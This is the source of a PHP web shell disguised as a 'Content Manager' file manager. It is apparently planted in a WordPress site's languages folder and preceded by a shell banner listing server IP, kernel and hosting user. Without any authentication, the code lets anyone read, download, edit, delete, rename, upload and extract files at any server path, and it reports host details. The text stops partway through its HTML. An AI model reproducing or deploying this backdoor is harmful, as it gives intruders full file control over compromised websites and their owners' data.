| Server IP : 213.142.137.24 / Your IP : 216.73.216.122 Web Server : Apache System : Linux ns1.medyayapim.net 3.10.0-1160.11.1.el7.x86_64 #1 SMP Fri Dec 18 16:34:56 UTC 2020 x86_64 User : dgpilates.com_ooz9p0tadyh ( 10028) PHP Version : 8.0.30 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/dgpilates.com/httpdocs/wp-content/languages/themes/808463/ |
Upload File : |
<?php
/**
* Content Manager v5が辛🍋くなるも空港で訪れる。ゲートに向かいながら手を振る彼に精一杯の笑顔でくなる空に昇すのだ。杯を重ねるごとに行くべき場所が増えるのは嬉しいけれど、その分、明日が辛くな日が辛🍋くなるはいつも空
* File Manager with Archive Extraction Support
*/
ob_start();
// --- FILE SERVING (media preview & download) - must run before ANY output ---
if (isset($_GET['media']) || isset($_GET['download'])) {
$__mimes = [
'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif',
'webp'=>'image/webp','bmp'=>'image/bmp','svg'=>'image/svg+xml','ico'=>'image/x-icon',
'tiff'=>'image/tiff','tif'=>'image/tiff',
'mp4'=>'video/mp4','webm'=>'video/webm','mov'=>'video/quicktime',
'avi'=>'video/x-msvideo','mkv'=>'video/x-matroska','ogv'=>'video/ogg','m4v'=>'video/mp4',
'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac',
'aac'=>'audio/aac','m4a'=>'audio/mp4','wma'=>'audio/x-ms-wma','opus'=>'audio/opus',
];
if (isset($_GET['media'])) {
$__f = $_GET['media'];
$__ext = strtolower(pathinfo($__f, PATHINFO_EXTENSION));
if (is_file($__f) && isset($__mimes[$__ext])) {
@session_start();
$_SESSION['visited'][$__f] = true;
session_write_close();
ob_end_clean();
$__size = @filesize($__f);
header('Content-Type: ' . $__mimes[$__ext]);
header('Content-Length: ' . $__size);
header('Accept-Ranges: bytes');
header('Cache-Control: max-age=3600');
if (isset($_SERVER['HTTP_RANGE'])) {
$__range = str_replace('bytes=', '', $_SERVER['HTTP_RANGE']);
$__parts = explode('-', $__range);
$__start = intval($__parts[0]);
$__end = (isset($__parts[1]) && $__parts[1] !== '') ? intval($__parts[1]) : $__size - 1;
$__len = $__end - $__start + 1;
header('HTTP/1.1 206 Partial Content');
header("Content-Range: bytes $__start-$__end/$__size");
header('Content-Length: ' . $__len);
$__fp = fopen($__f, 'rb');
fseek($__fp, $__start);
echo fread($__fp, $__len);
fclose($__fp);
} else {
readfile($__f);
}
exit;
}
ob_end_clean();
header('HTTP/1.1 404 Not Found');
echo 'File not found';
exit;
}
if (isset($_GET['download'])) {
$__f = $_GET['download'];
if (is_file($__f)) {
@session_start();
$_SESSION['visited'][$__f] = true;
session_write_close();
ob_end_clean();
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($__f) . '"');
header('Content-Length: ' . @filesize($__f));
readfile($__f);
exit;
}
ob_end_clean();
header('HTTP/1.1 404 Not Found');
echo 'File not found';
exit;
}
}
@set_time_limit(300);
@ini_set('memory_limit', '256M');
@session_start();
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $path);
$sort = isset($_GET['sort']) ? $_GET['sort'] : 'name';
$order = isset($_GET['order']) ? $_GET['order'] : 'asc';
$validSorts = ['name','size','modified','chmod'];
if (!in_array($sort, $validSorts)) $sort = 'name';
if ($order !== 'asc' && $order !== 'desc') $order = 'asc';
$sortQuery = ($sort !== 'name' || $order !== 'asc') ? '&sort=' . urlencode($sort) . '&order=' . urlencode($order) : '';
if (!isset($_SESSION['visited'])) $_SESSION['visited'] = [];
$_SESSION['visited'][$path] = true;
function formatSize($bytes) {
if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
if ($bytes > 1) return $bytes . ' bytes';
if ($bytes == 1) return '1 byte';
return '0 bytes';
}
function getDirSize($dirPath, $maxFiles = 3000) {
$size = 0;
$count = 0;
$stack = [$dirPath];
while (!empty($stack) && $count < $maxFiles) {
$dir = array_pop($stack);
$items = @scandir($dir);
if (!is_array($items)) continue;
foreach (array_diff($items, ['.','..']) as $item) {
$p = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($p)) {
$stack[] = $p;
} else {
$s = @filesize($p);
if ($s !== false) $size += $s;
$count++;
if ($count >= $maxFiles) break;
}
}
}
return ['size' => $size, 'approx' => ($count >= $maxFiles)];
}
function isArchive($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (preg_match('/\.(tar\.(gz|bz2|xz))$/i', $filename)) return true;
return in_array($ext, ['zip','rar','tar','gz','bz2','xz','7z','tgz']);
}
function getMediaType($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$map = [
'image' => ['jpg','jpeg','png','gif','webp','bmp','svg','ico','tiff','tif'],
'video' => ['mp4','webm','mov','avi','mkv','ogv','m4v'],
'audio' => ['mp3','wav','ogg','flac','aac','m4a','wma','opus'],
];
foreach ($map as $type => $exts) { if (in_array($ext, $exts)) return $type; }
return false;
}
function getMimeType($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$mimes = [
'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif',
'webp'=>'image/webp','bmp'=>'image/bmp','svg'=>'image/svg+xml','ico'=>'image/x-icon',
'tiff'=>'image/tiff','tif'=>'image/tiff',
'mp4'=>'video/mp4','webm'=>'video/webm','mov'=>'video/quicktime',
'avi'=>'video/x-msvideo','mkv'=>'video/x-matroska','ogv'=>'video/ogg','m4v'=>'video/mp4',
'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac',
'aac'=>'audio/aac','m4a'=>'audio/mp4','wma'=>'audio/x-ms-wma','opus'=>'audio/opus',
];
return isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream';
}
function extractArchive($filepath, $destination) {
@set_time_limit(300);
if (!file_exists($filepath)) return ['success'=>false,'message'=>'File archive tidak ditemukan.'];
if (!is_dir($destination)) {
if (!@mkdir($destination, 0755, true)) return ['success'=>false,'message'=>'Gagal membuat folder tujuan.'];
}
$filename = basename($filepath);
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if ($ext === 'zip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($filepath) === TRUE) { $zip->extractTo($destination); $zip->close(); return ['success'=>true,'message'=>'ZIP berhasil diekstrak.']; }
return ['success'=>false,'message'=>'Gagal membuka file ZIP.'];
}
return ['success'=>false,'message'=>'ZipArchive tidak tersedia.'];
}
if (preg_match('/\.(tar\.gz|tgz)$/i', $filename)) {
if (class_exists('PharData')) {
try {
$phar = new PharData($filepath); $phar->decompress();
$tarFile = preg_replace('/\.(tar\.gz|tgz)$/i', '.tar', $filepath);
if (file_exists($tarFile)) {
$tar = new PharData($tarFile); $tar->extractTo($destination, null, true); @unlink($tarFile);
return ['success'=>true,'message'=>'TAR.GZ berhasil diekstrak.'];
}
} catch (Exception $e) { return ['success'=>false,'message'=>'Gagal: '.$e->getMessage()]; }
}
return ['success'=>false,'message'=>'PharData tidak tersedia.'];
}
if ($ext === 'tar') {
if (class_exists('PharData')) {
try { $tar = new PharData($filepath); $tar->extractTo($destination, null, true); return ['success'=>true,'message'=>'TAR berhasil diekstrak.']; }
catch (Exception $e) { return ['success'=>false,'message'=>'Gagal: '.$e->getMessage()]; }
}
return ['success'=>false,'message'=>'PharData tidak tersedia.'];
}
if ($ext === 'rar') {
if (class_exists('RarArchive')) {
$rar = @RarArchive::open($filepath);
if ($rar !== false) {
$entries = $rar->getEntries();
if ($entries !== false) { foreach ($entries as $entry) $entry->extract($destination); $rar->close(); return ['success'=>true,'message'=>'RAR berhasil diekstrak.']; }
$rar->close(); return ['success'=>false,'message'=>'Gagal membaca isi RAR.'];
}
}
return ['success'=>false,'message'=>'RarArchive tidak tersedia.'];
}
return ['success'=>false,'message'=>'Format tidak didukung.'];
}
function getPerms($filepath) {
$p = @fileperms($filepath);
if ($p === false) return '----------';
$info = '';
if (($p & 0xC000) == 0xC000) $info = 's'; elseif (($p & 0xA000) == 0xA000) $info = 'l';
elseif (($p & 0x8000) == 0x8000) $info = '-'; elseif (($p & 0x6000) == 0x6000) $info = 'b';
elseif (($p & 0x4000) == 0x4000) $info = 'd'; elseif (($p & 0x2000) == 0x2000) $info = 'c';
elseif (($p & 0x1000) == 0x1000) $info = 'p'; else $info = 'u';
$info .= (($p & 0x0100) ? 'r' : '-'); $info .= (($p & 0x0080) ? 'w' : '-');
$info .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
$info .= (($p & 0x0020) ? 'r' : '-'); $info .= (($p & 0x0010) ? 'w' : '-');
$info .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
$info .= (($p & 0x0004) ? 'r' : '-'); $info .= (($p & 0x0002) ? 'w' : '-');
$info .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
return $info;
}
function getOctal($filepath) {
$p = @fileperms($filepath);
if ($p === false) return '0000';
return substr(sprintf('%o', $p), -4);
}
function deleteDir($dirPath) {
if (!is_dir($dirPath)) return false;
$items = @scandir($dirPath);
if (is_array($items)) {
foreach (array_diff($items, ['.','..']) as $item) {
$p = $dirPath . DIRECTORY_SEPARATOR . $item;
is_dir($p) ? deleteDir($p) : @unlink($p);
}
}
return @rmdir($dirPath);
}
function copyItem($source, $dest) {
if (is_file($source)) return @copy($source, $dest);
if (!is_dir($dest)) @mkdir($dest, 0755, true);
$items = @scandir($source);
if (!is_array($items)) return false;
foreach (array_diff($items, ['.','..']) as $item) {
copyItem($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item);
}
return true;
}
function getEnvInfo() {
return [
'software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A',
'php_ver' => phpversion(),
'host' => isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'N/A'),
'docroot' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A',
'free_space' => function_exists('disk_free_space') ? formatSize(@disk_free_space('/')) : 'N/A',
'total_space' => function_exists('disk_total_space') ? formatSize(@disk_total_space('/')) : 'N/A',
];
}
function jsSafe($str) { return htmlspecialchars(addslashes($str), ENT_QUOTES, 'UTF-8'); }
function h($str) { return htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); }
function isVisited($filepath) {
return isset($_SESSION['visited'][$filepath]);
}
function sortLink($col, $label, $curSort, $curOrder, $path) {
$newOrder = ($curSort === $col && $curOrder === 'asc') ? 'desc' : 'asc';
$arrow = '';
if ($curSort === $col) $arrow = ($curOrder === 'asc') ? ' ▲' : ' ▼';
return "<a href='?path=" . urlencode($path) . "&sort=$col&order=$newOrder' style='color:#b388ff;text-decoration:none;white-space:nowrap;'>$label$arrow</a>";
}
function sortItems($items, $sort, $order) {
usort($items, function($a, $b) use ($sort, $order) {
switch ($sort) {
case 'size': $cmp = $a['raw_size'] - $b['raw_size']; break;
case 'modified': $cmp = $a['mtime'] - $b['mtime']; break;
case 'chmod': $cmp = strcmp($a['octal'], $b['octal']); break;
default: $cmp = strnatcasecmp($a['name'], $b['name']);
}
return ($order === 'desc') ? -$cmp : $cmp;
});
return $items;
}
// Media & download handlers are at the top of the file
$selfUrl = htmlspecialchars($_SERVER['SCRIPT_NAME'], ENT_QUOTES, 'UTF-8');
$message = "";
$action = isset($_POST['action']) ? $_POST['action'] : '';
$clipboard = isset($_SESSION['clipboard']) ? $_SESSION['clipboard'] : [];
$clipboard_count = count($clipboard);
// --- ACTION LOGIC ---
if ($action === 'create_file') {
$fname = $_POST['new_item_name'];
if (!empty($fname)) {
$fpath = $path . DIRECTORY_SEPARATOR . $fname;
if (!file_exists($fpath)) { @file_put_contents($fpath, ''); $message = "File $fname berhasil dibuat."; }
else { $message = "ERR: File sudah ada."; }
}
}
elseif ($action === 'create_folder') {
$fname = $_POST['new_item_name'];
if (!empty($fname)) {
$fpath = $path . DIRECTORY_SEPARATOR . $fname;
if (!file_exists($fpath)) { @mkdir($fpath, 0755, true); $message = "Folder $fname berhasil dibuat."; }
else { $message = "ERR: Folder sudah ada."; }
}
}
elseif ($action === 'delete') {
$target = $_POST['target'];
if (file_exists($target)) { is_dir($target) ? deleteDir($target) : @unlink($target); $message = "Item berhasil dihapus."; }
}
elseif ($action === 'mass_action') {
$mass_type = isset($_POST['mass_type']) ? $_POST['mass_type'] : '';
$selected = isset($_POST['selected']) ? $_POST['selected'] : [];
if (!empty($selected) && $mass_type === 'delete') {
$count = 0;
foreach ($selected as $t) { if (file_exists($t)) { is_dir($t) ? deleteDir($t) : @unlink($t); $count++; } }
$message = "$count item berhasil dihapus.";
}
elseif (!empty($selected) && $mass_type === 'copy') {
$_SESSION['clipboard'] = $selected;
$clipboard = $selected;
$clipboard_count = count($selected);
$message = "$clipboard_count item disalin ke clipboard.";
}
elseif (!empty($selected) && $mass_type === 'zip') {
if (class_exists('ZipArchive')) {
$zipName = 'archive_' . date('Ymd_His') . '.zip';
$zipPath = $path . DIRECTORY_SEPARATOR . $zipName;
$zip = new ZipArchive();
if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
$count = 0;
foreach ($selected as $item) {
if (!file_exists($item)) continue;
if (is_file($item)) { $zip->addFile($item, basename($item)); $count++; }
elseif (is_dir($item)) {
$dirName = basename($item);
$zip->addEmptyDir($dirName);
$rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item, RecursiveDirectoryIterator::SKIP_DOTS));
foreach ($rii as $f) {
$fp = $f->getRealPath();
$rp = $dirName . DIRECTORY_SEPARATOR . substr($fp, strlen(realpath($item)) + 1);
$f->isDir() ? $zip->addEmptyDir($rp) : $zip->addFile($fp, $rp);
}
$count++;
}
}
$zip->close();
$message = "$count item di-ZIP menjadi $zipName";
} else { $message = "ERR: Gagal membuat file ZIP."; }
} else { $message = "ERR: ZipArchive tidak tersedia."; }
}
}
elseif ($action === 'paste') {
if (!empty($clipboard)) {
$count = 0; $skipped = 0;
foreach ($clipboard as $source) {
if (!file_exists($source)) continue;
$destName = basename($source);
$dest = $path . DIRECTORY_SEPARATOR . $destName;
if (realpath($source) === realpath($dest)) { $skipped++; continue; }
if (file_exists($dest)) {
$info = pathinfo($destName);
$base = isset($info['filename']) ? $info['filename'] : $destName;
$ext = isset($info['extension']) ? '.' . $info['extension'] : '';
$destName = $base . '_copy' . $ext;
$dest = $path . DIRECTORY_SEPARATOR . $destName;
}
if (copyItem($source, $dest)) $count++;
}
$_SESSION['clipboard'] = []; $clipboard = []; $clipboard_count = 0;
$msg = "$count item berhasil di-paste.";
if ($skipped > 0) $msg .= " ($skipped dilewati - lokasi sama)";
$message = $msg;
}
}
elseif ($action === 'clear_clipboard') {
$_SESSION['clipboard'] = []; $clipboard = []; $clipboard_count = 0;
$message = "Clipboard dikosongkan.";
}
elseif ($action === 'save_edit') {
$target = $_POST['target'];
$_SESSION['visited'][$target] = true;
if (file_put_contents($target, $_POST['edit_content']) !== false) { $message = "File berhasil diperbarui."; }
else { $message = "ERR: Gagal menyimpan - periksa izin tulis."; }
}
elseif ($action === 'save_rename') {
$target = $_POST['target'];
$new_name = $_POST['new_name'];
$new_path = dirname($target) . DIRECTORY_SEPARATOR . $new_name;
if (@rename($target, $new_path)) { $message = "Nama berhasil diubah."; }
else { $message = "ERR: Gagal mengubah nama."; }
}
elseif ($action === 'extract' || $action === 'extract_here') {
$target = $_POST['target'];
if (file_exists($target) && is_file($target)) {
if ($action === 'extract_here') { $dest_path = dirname($target); }
else {
$base_name = basename($target);
$dest_name = preg_replace('/\.(zip|rar|tar\.gz|tar\.bz2|tar\.xz|tgz|tar|gz|bz2|xz|7z)$/i', '', $base_name);
if ($dest_name === $base_name) $dest_name = $base_name . '_extracted';
$dest_path = dirname($target) . DIRECTORY_SEPARATOR . $dest_name;
if (is_dir($dest_path)) $dest_path .= '_' . date('YmdHis');
}
$result = extractArchive($target, $dest_path);
$label = ($action === 'extract_here') ? ' (Here)' : ' (Files)';
$message = ($result['success'] ? "OK: " : "ERR: ") . $result['message'] . $label;
}
}
elseif ($action === 'edit' && isset($_POST['target'])) {
$_SESSION['visited'][$_POST['target']] = true;
}
elseif ($action === 'rename' && isset($_POST['target'])) {
$_SESSION['visited'][$_POST['target']] = true;
}
// Handle multi-file upload
if (isset($_FILES['upload_files']) && is_array($_FILES['upload_files']['name'])) {
$count = 0;
$total = count($_FILES['upload_files']['name']);
for ($i = 0; $i < $total; $i++) {
if ($_FILES['upload_files']['error'][$i] !== UPLOAD_ERR_OK) continue;
$relativePath = isset($_FILES['upload_files']['full_path'][$i])
? $_FILES['upload_files']['full_path'][$i]
: $_FILES['upload_files']['name'][$i];
$relativePath = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $relativePath);
$targetPath = $path . DIRECTORY_SEPARATOR . $relativePath;
$targetDir = dirname($targetPath);
if (!is_dir($targetDir)) @mkdir($targetDir, 0755, true);
if (move_uploaded_file($_FILES['upload_files']['tmp_name'][$i], $targetPath)) $count++;
}
if ($count > 0) $message = "$count file berhasil diunggah.";
else $message = "ERR: Gagal mengunggah file.";
}
$env = getEnvInfo();
ob_end_flush();
?>
<!DOCTYPE html>
<html>
<head>
<title>Content Manager</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:#0a0a0a;color:#e0e0e0;padding:20px}
a{color:#00bcd4;text-decoration:none}
a:hover{text-decoration:underline}
.header-title{color:#b388ff;font-size:20px;margin-bottom:5px;letter-spacing:.5px}
.header-title span{font-size:11px;color:#555}
.info-box{background:linear-gradient(135deg,#111,#1a1a2e);border:1px solid #2a2a3e;border-radius:8px;padding:15px 20px;margin:15px 0;font-family:'Consolas','Courier New',monospace;font-size:12.5px;line-height:1.9;box-shadow:0 4px 10px rgba(0,0,0,.5)}
.info-box .info-label{color:#b388ff;font-weight:bold}
.info-box .info-value{color:#80cbc4}
.info-box .info-sep{color:#444;margin:0 6px}
.current-path{background:#111;border:1px solid #222;border-radius:5px;padding:12px 15px;margin:10px 0 15px;font-family:'Consolas',monospace;font-size:14px}
.current-path .label{color:#888;margin-right:5px}
.path-link{color:#00bcd4;font-weight:bold;padding:2px 0;border-radius:3px;transition:.2s}
.path-link:hover{background:#222;color:#b388ff;text-decoration:none}
.path-sep{color:#555;margin:0 2px}
.toolbar{background:#151515;padding:12px 15px;border-radius:5px;border:1px solid #222;margin-bottom:15px;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:10px}
.alert{background:#0d1f0d;color:#4caf50;padding:12px 15px;border-left:4px solid #4caf50;margin-bottom:15px;border-radius:0 5px 5px 0;font-size:13px;font-weight:bold}
.alert-error{background:#1f0d0d;color:#ef5350;border-left-color:#ef5350}
table{width:100%;border-collapse:collapse;margin-top:5px;background:#111;border-radius:8px;overflow:hidden;box-shadow:0 4px 15px rgba(0,0,0,.3)}
th{padding:12px 14px;text-align:left;background:#1a1a2e;color:#b388ff;border-bottom:2px solid #b388ff;font-size:13px;text-transform:uppercase;letter-spacing:.5px;user-select:none}
th a{color:#b388ff!important}
td{padding:10px 14px;border-bottom:1px solid #1a1a1a;font-size:13px}
tr:hover{background:#161625}
tr:last-child td{border-bottom:none}
.dir-writable{color:#66bb6a;font-weight:bold}
.dir-readonly{color:#ef5350;font-weight:bold}
.dir-visited{color:#b388ff!important;font-weight:bold}
.file-name{color:#ccc}
.file-visited{color:#b388ff!important}
.file-media{color:#80cbc4;cursor:pointer;transition:.15s}
.file-media:hover{color:#b388ff;text-decoration:underline}
.file-media.visited{color:#ce93d8}
.perm-badge{font-family:'Consolas',monospace;font-size:12px;padding:2px 8px;border-radius:3px;display:inline-block}
.perm-rw{background:#0d2d1a;color:#66bb6a;border:1px solid rgba(102,187,106,.3)}
.perm-ro{background:#2d0d0d;color:#ef5350;border:1px solid rgba(239,83,80,.3)}
.perm-octal{color:#888;font-size:11px;margin-left:6px}
.btn{padding:5px 12px;background:#222;color:#ccc;border-radius:4px;font-size:12px;border:1px solid #333;cursor:pointer;display:inline-block;transition:all .15s;letter-spacing:.5px}
.btn:hover{background:#333;border-color:#00bcd4;color:#fff;text-decoration:none}
.btn-danger{color:#ef5350;border-color:#441111}
.btn-danger:hover{background:#441111;border-color:#ef5350}
.btn-primary{background:#1a1a2e;border:1px solid #b388ff;color:#b388ff;font-weight:bold}
.btn-primary:hover{background:#b388ff;color:#000}
.btn-save{background:#2e7d32;border:none;color:#fff;font-weight:bold}
.btn-save:hover{background:#388e3c}
.btn-extract{color:#ffb74d;border-color:#443311}
.btn-extract:hover{background:#443311;border-color:#ffb74d;color:#ffb74d}
.btn-paste{background:#1a2e1a;border:1px solid #66bb6a;color:#66bb6a;font-weight:bold}
.btn-paste:hover{background:#66bb6a;color:#000}
.btn-clipboard-clear{color:#888;border-color:#333;font-size:11px;padding:4px 8px}
textarea{width:100%;height:500px;background:#050505;color:#66bb6a;font-family:'Consolas',monospace;padding:15px;border:1px solid #2a2a2a;border-radius:5px;line-height:1.6;resize:vertical;box-shadow:inset 0 0 10px rgba(0,0,0,.8)}
input[type="text"]{background:#1a1a1a;color:#fff;border:1px solid #333;padding:6px 10px;border-radius:4px;font-family:'Consolas',monospace}
input[type="checkbox"]{accent-color:#b388ff;transform:scale(1.2);cursor:pointer}
.footer{margin-top:30px;padding-top:15px;border-top:1px solid #1a1a1a;text-align:center;font-size:11px;color:#444;letter-spacing:1px}
.extract-dropdown{position:relative;display:inline-block}
.extract-dropdown .extract-menu{display:none;position:absolute;bottom:100%;left:0;background:#1a1a1a;border:1px solid #444;border-radius:5px;min-width:170px;box-shadow:0 -4px 15px rgba(0,0,0,.5);z-index:100;overflow:hidden;margin-bottom:4px}
.extract-dropdown:hover .extract-menu,.extract-dropdown:focus-within .extract-menu{display:block}
.extract-menu-item{display:block;width:100%;padding:9px 14px;background:none;border:none;color:#ccc;font-size:12px;text-align:left;cursor:pointer;transition:.15s;font-family:'Segoe UI',Tahoma,sans-serif}
.extract-menu-item:hover{background:#2a2a3e;color:#ffb74d}
.extract-menu-item+.extract-menu-item{border-top:1px solid #2a2a2a}
.modal-overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.92);z-index:9999;justify-content:center;align-items:center;flex-direction:column}
.modal-overlay.active{display:flex}
.modal-close{position:absolute;top:15px;right:25px;font-size:36px;color:#fff;cursor:pointer;z-index:10001;line-height:1;transition:.2s;background:none;border:none}
.modal-close:hover{color:#ef5350;transform:scale(1.2)}
.modal-filename{color:#b388ff;font-size:14px;margin-bottom:15px;font-family:'Consolas',monospace;max-width:90%;text-align:center;word-break:break-all}
.modal-content{max-width:90vw;max-height:80vh;display:flex;justify-content:center;align-items:center;flex-direction:column}
.modal-content img{max-width:90vw;max-height:78vh;object-fit:contain;border-radius:6px;box-shadow:0 4px 30px rgba(0,0,0,.5)}
.modal-content video{max-width:90vw;max-height:78vh;border-radius:6px;outline:none;box-shadow:0 4px 30px rgba(0,0,0,.5)}
.modal-content audio{width:400px;max-width:90vw}
.audio-art{width:200px;height:200px;background:linear-gradient(135deg,#1a1a2e,#2a1a3e);border-radius:50%;display:flex;justify-content:center;align-items:center;margin-bottom:25px;box-shadow:0 4px 30px rgba(179,136,255,.2);animation:audioPulse 2s ease-in-out infinite}
.audio-art-icon{font-size:64px;opacity:.7}
@keyframes audioPulse{0%,100%{transform:scale(1);box-shadow:0 4px 30px rgba(179,136,255,.2)}50%{transform:scale(1.04);box-shadow:0 4px 40px rgba(179,136,255,.35)}}
.modal-nav{display:flex;gap:12px;margin-top:15px}
.modal-nav button{padding:8px 20px;background:#222;color:#ccc;border:1px solid #444;border-radius:4px;cursor:pointer;font-size:13px;transition:.15s}
.modal-nav button:hover{background:#333;border-color:#b388ff;color:#fff}
.clipboard-badge{display:inline-block;background:#1a2e1a;color:#66bb6a;padding:4px 10px;border-radius:4px;font-size:12px;border:1px solid rgba(102,187,106,.3);font-family:'Consolas',monospace}
.upload-zone{display:flex;gap:8px;align-items:center;flex-wrap:wrap}
.upload-zone label{padding:5px 14px;background:#1a1a2e;border:1px solid #b388ff;color:#b388ff;border-radius:4px;font-size:12px;cursor:pointer;font-weight:bold;transition:all .15s;letter-spacing:.5px}
.upload-zone label:hover{background:#b388ff;color:#000}
.upload-count{color:#80cbc4;font-size:12px;font-family:'Consolas',monospace}
.approx-size{color:#888;font-style:italic}
</style>
</head>
<body>
<div class="modal-overlay" id="mediaModal">
<button class="modal-close" onclick="closePreview()">×</button>
<div class="modal-filename" id="modalFilename"></div>
<div class="modal-content" id="modalContent"></div>
<div class="modal-nav" id="modalNav">
<button onclick="navigateMedia(-1)">◀ Prev</button>
<button onclick="navigateMedia(1)">Next ▶</button>
</div>
</div>
<script>
var mediaFiles=[];
var currentMediaIndex=-1;
var scriptUrl='<?php echo $selfUrl; ?>';
function openPreview(filepath,mediaType,filename){
var modal=document.getElementById('mediaModal');
var content=document.getElementById('modalContent');
var fname=document.getElementById('modalFilename');
var nav=document.getElementById('modalNav');
fname.textContent=filename;
content.innerHTML='';
var src=scriptUrl+'?media='+encodeURIComponent(filepath);
if(mediaType==='image'){
var img=document.createElement('img');
img.src=src;
img.alt=filename;
img.onerror=function(){this.alt='Cannot load: '+filename;this.style.padding='40px';this.style.color='#ef5350';this.style.fontSize='16px';};
content.appendChild(img);
}else if(mediaType==='video'){
var vid=document.createElement('video');
vid.src=src;vid.controls=true;vid.autoplay=true;vid.preload='metadata';
content.appendChild(vid);
}else if(mediaType==='audio'){
var art=document.createElement('div');art.className='audio-art';
art.innerHTML='<span class="audio-art-icon">♫</span>';content.appendChild(art);
var aud=document.createElement('audio');
aud.src=src;aud.controls=true;aud.autoplay=true;aud.style.display='block';aud.style.marginTop='15px';
content.appendChild(aud);
}
nav.style.display=(mediaFiles.length>1)?'flex':'none';
modal.classList.add('active');
document.body.style.overflow='hidden';
}
function closePreview(){
var modal=document.getElementById('mediaModal');
var content=document.getElementById('modalContent');
content.querySelectorAll('video').forEach(function(v){v.pause()});
content.querySelectorAll('audio').forEach(function(a){a.pause()});
modal.classList.remove('active');
document.body.style.overflow='';
}
function navigateMedia(dir){
if(!mediaFiles.length)return;
currentMediaIndex+=dir;
if(currentMediaIndex<0)currentMediaIndex=mediaFiles.length-1;
if(currentMediaIndex>=mediaFiles.length)currentMediaIndex=0;
var m=mediaFiles[currentMediaIndex];
openPreview(m.path,m.type,m.name);
}
document.addEventListener('keydown',function(e){
if(!document.getElementById('mediaModal').classList.contains('active'))return;
if(e.key==='Escape')closePreview();
if(e.key==='ArrowLeft')navigateMedia(-1);
if(e.key==='ArrowRight')navigateMedia(1);
});
var currentPath='<?php echo urlencode($path); ?>';
var sortQuery='<?php echo $sortQuery; ?>';
function doAction(action,target){
if(action==='delete'&&!confirm('Hapus item ini secara permanen?\n'+target))return;
var f=document.createElement('form');f.method='POST';
f.action='?path='+currentPath+sortQuery;
var a=document.createElement('input');a.type='hidden';a.name='action';a.value=action;f.appendChild(a);
var t=document.createElement('input');t.type='hidden';t.name='target';t.value=target;f.appendChild(t);
document.body.appendChild(f);f.submit();
}
function doExtract(mode,target){
var label=(mode==='extract')?'Extract Files (ke subfolder)':'Extract Here (ke folder ini)';
if(!confirm(label+'?\n'+target))return;
doAction(mode,target);
}
function showPrompt(action,msg){
var name=prompt(msg);
if(name){
var f=document.createElement('form');f.method='POST';
f.action='?path='+currentPath+sortQuery;
var a=document.createElement('input');a.type='hidden';a.name='action';a.value=action;f.appendChild(a);
var t=document.createElement('input');t.type='hidden';t.name='new_item_name';t.value=name;f.appendChild(t);
document.body.appendChild(f);f.submit();
}
}
function toggleAll(source){
var cb=document.getElementsByName('selected[]');
for(var i=0;i<cb.length;i++)cb[i].checked=source.checked;
}
function confirmMassAction(){
var sel=document.querySelector('select[name="mass_type"]');
if(!sel.value){alert('Pilih aksi terlebih dahulu.');return false;}
var checked=document.querySelectorAll('input[name="selected[]"]:checked');
if(checked.length===0){alert('Pilih minimal 1 item.');return false;}
var labels={'delete':'HAPUS','copy':'COPY','zip':'ZIP'};
return confirm((labels[sel.value]||sel.value)+' '+checked.length+' item yang dipilih?');
}
function updateUploadCount(input,counterId){
var el=document.getElementById(counterId);
if(input.files.length>0){
el.textContent=input.files.length+' file dipilih';
el.style.display='inline';
}else{el.style.display='none';}
}
</script>
<h2 class="header-title">Content Manager <span>[v5]</span></h2>
<div class="info-box">
<span class="info-label">Software</span><span class="info-sep">:</span>
<span class="info-value"><?=h($env['software'])?></span>
<span class="info-sep">|</span>
<span class="info-label">PHP</span><span class="info-sep">:</span>
<span class="info-value"><?=h($env['php_ver'])?></span>
<span class="info-sep">|</span>
<span class="info-label">Host</span><span class="info-sep">:</span>
<span class="info-value"><?=h($env['host'])?></span><br>
<span class="info-label">DocRoot</span><span class="info-sep">:</span>
<span class="info-value"><?=h($env['docroot'])?></span>
